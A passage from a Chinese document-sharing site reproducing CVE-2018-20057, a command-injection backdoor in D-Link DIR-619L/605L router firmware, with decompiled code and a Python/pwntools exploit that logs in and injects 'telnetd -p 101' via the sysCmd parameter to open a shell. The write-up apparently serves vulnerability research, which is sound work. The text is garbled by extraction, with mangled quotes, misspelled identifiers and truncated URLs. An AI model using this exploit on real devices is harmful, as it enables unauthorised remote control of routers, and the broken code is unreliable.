《(CVE-2018-20057)D-Link DIR-619L&605L 命令注入漏洞.docx》由会员分享,可在线阅读,更多相关《(CVE-2018-20057)D-Link DIR-619L&605L 命令注入漏洞.docx(3页珍藏版)》请在优知文库上搜索。
1、(CVE-2018-20057) D-Link DIR-619L&605L 命令注入漏洞一、漏洞简介D-LINK 的 D1R-619L Rev.B 2.06B1 版本之前和 DIR-605L Rev.B 2.12B1 版本之前的 设备,在binboa文件的formSysCmd函数存在后门,导致攻击者在身份认证后 可以通过访问http:/ip/goform/fOrmSysCmd并指定sysCmd参数,从而实现远程命令注入。固件下载地址:ftp:/本漏洞的路由器运行环境与CVE-2018-20056相同。二、漏洞影响D-LINK 的 DIR-619L Rev.B 2.06B1 版本之前和 DIR-
2、605L Rev.B 2.12B1 版本之前的 设备。三、复现过程漏洞分析查看ghidra中的反编译代码,在formSysCmd中,首先获取SySCmd参数,然后 通过SnPrintf写入栈中变量,直接调用SyStem函数执行该参薪内容。void formSysCmd(undefined4 uParml) (undefined4 uVarl;char *pcVar2;char acStackl20 104;uVarl = WebsGetVar(uParmljsubmit-urli&DAT_004ac874);获取post参数sysCmd,该参数可由用户控制pcVar2 = (char *)we
3、bsGetVar(uParmlj,sysCmdi&DAT 004ac874);if (*pcVar2 != 0) / sysCmd写入栈中,并调用system执行snprintf(acStackl20 100,%s 2&1 %s”,pcVar2,”tmpSySCmd.log); system(acStackl20);)WebsRedirect(uParml,uVarl);return;漏洞复现该漏洞是在身份认证成功之后才可实现命令注入,需要先登录输入用户名和口令。由于是在qemu中模拟固件,通过apmib_get读取路由器本地配置无法实现,所以 在劫持了 apmib_get函数之后,login
4、输入的用户名和密码暂时填为空。在真机上 操作时,换成真实的用户名和密码即可。import requestsimport sysimport structimport base64from pwn import *context(arch=mips,endian=big,log-level=,debug,)ip=192.168.84.129,port=101def IOgin(USer,password):postData = login-name,:curTime,:1234j,FILECODE:,VER-CODE:, VERIFICATION-CODE:,login_n: user,logi
5、n_pass,:base64.b64encode(password)i)response = requests. post (,http:/+ip+,goformformLogin,data=post Data)#print response.urldef syscmd(cmd):postData = sysCmd:cmd,submit-url,:,1234,i)response = requests. post (,http:/,+ip+,goform/fOrmSysCmdjdata=pos tData)#print response.urldef inter():p=remote(ipjport)p.interactive()if _name_ = ,_main_,:IOginr,一)危里庭实际的用户名和密码,例如admin 12345syscmd(,telnetd -p +str(port)inter()另由于qemu模拟时,dev下没有Pty设备,导致telnet连接不能实现,但是端 口是已经打开了: